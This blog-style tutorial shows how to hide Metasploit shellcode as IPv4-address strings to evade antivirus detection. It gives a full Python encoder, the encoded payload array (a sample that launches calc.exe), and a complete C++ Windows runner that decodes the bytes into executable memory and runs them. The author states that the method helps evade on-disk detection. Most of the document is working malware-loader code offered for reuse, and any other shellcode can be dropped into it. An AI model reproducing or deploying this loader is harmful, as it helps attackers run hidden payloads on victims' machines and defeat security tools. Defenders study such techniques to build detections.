Encoding Shellcode as IP Addresses

I’ve covered other shellcode obfuscation mechanisms before. In this article, we’re looking at how to encode shellcode to look like IP addresses.

The Encoder

Python can be used to convert shellcode produced by Metasploit to what looks like IP addresses:

import argparse 

def pad_bytes(byte_array):
    length = len(byte_array)
    padding = (4 - length % 4) % 4
    padded_byte_array = byte_array + b'\x00' * padding
    return padded_byte_array

def main():
    parser = argparse.ArgumentParser(description='Process shellcode.')
    parser.add_argument('--shellcode', help='Filename containing raw shellcode')
 
    args = parser.parse_args()
    file_path = args.shellcode

    if file_path:
        print(f"[+] Encoding shellcode {file_path}")
    else:
        print("Please provide --shellcode argument.")
        exit()

    try:
        with open(file_path, 'rb') as file:
            file_bytes = file.read()
    except FileNotFoundError:
        print("[ERROR] File not found or cannot be opened.")
        exit()

    padded_byte_array = pad_bytes(file_bytes)
    ip_shellcode = ""

    print("std::string ips[] = {",end="")

    for i, sc_byte in enumerate(padded_byte_array):
        if (i) % 4 == 0:
            ip_shellcode += '"'
        ip_shellcode += str(sc_byte)
        if (i + 1) % 4 == 0:
            ip_shellcode += '",'
        else:
            ip_shellcode += "."

    print(ip_shellcode[:-1],end="")
    print("};")

if __name__ == "__main__":
    main()

This should produce output similar to the following, which can then be imported into our C++ shellcode runner.

std::string ips[] = {"252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0"};

Executing the Shellcode

The following C++ code can be used to decode and execute the shellcode.

#include <Windows.h>
#include <iostream>
#include <sstream>
#include <vector>
#include <iomanip>

std::string ips[] = { "252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0" };

std::vector<BYTE> convertIPsToByteArray(const std::string ips[], size_t count) {
    std::vector<BYTE> byteArrays;

    for (size_t i = 0; i < count; ++i) {
        std::string ip = ips[i];
        std::string octet;

        for (char c : ip) {
            if (c == '.') {
                byteArrays.push_back(static_cast<BYTE>(std::stoi(octet)));
                octet.clear();
            }
            else {
                octet += c;
            }
        }
        byteArrays.push_back(static_cast<BYTE>(std::stoi(octet))); // Last octet
    }

    return byteArrays;
}


int main() {

    size_t count = sizeof(ips) / sizeof(ips[0]);
    std::vector<BYTE> shellcode = convertIPsToByteArray(ips, count);


    std::cout << "Executing bytes...\n";
    for (const auto& byteArray : shellcode) {
        std::cout << " 0x" << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(byteArray);
    }

    std::size_t vectorSize = shellcode.size();
    char* buffer = static_cast<char*>(VirtualAlloc(0, vectorSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE));

    memcpy(buffer, shellcode.data(), vectorSize);

    void (*function)();
    function = reinterpret_cast<void (*)()>(buffer);
    function();

    return 0;
}

In Conclusion

From testing, this encoding scheme does not significantly alter the file entropy, but does assist with evading on disk detection.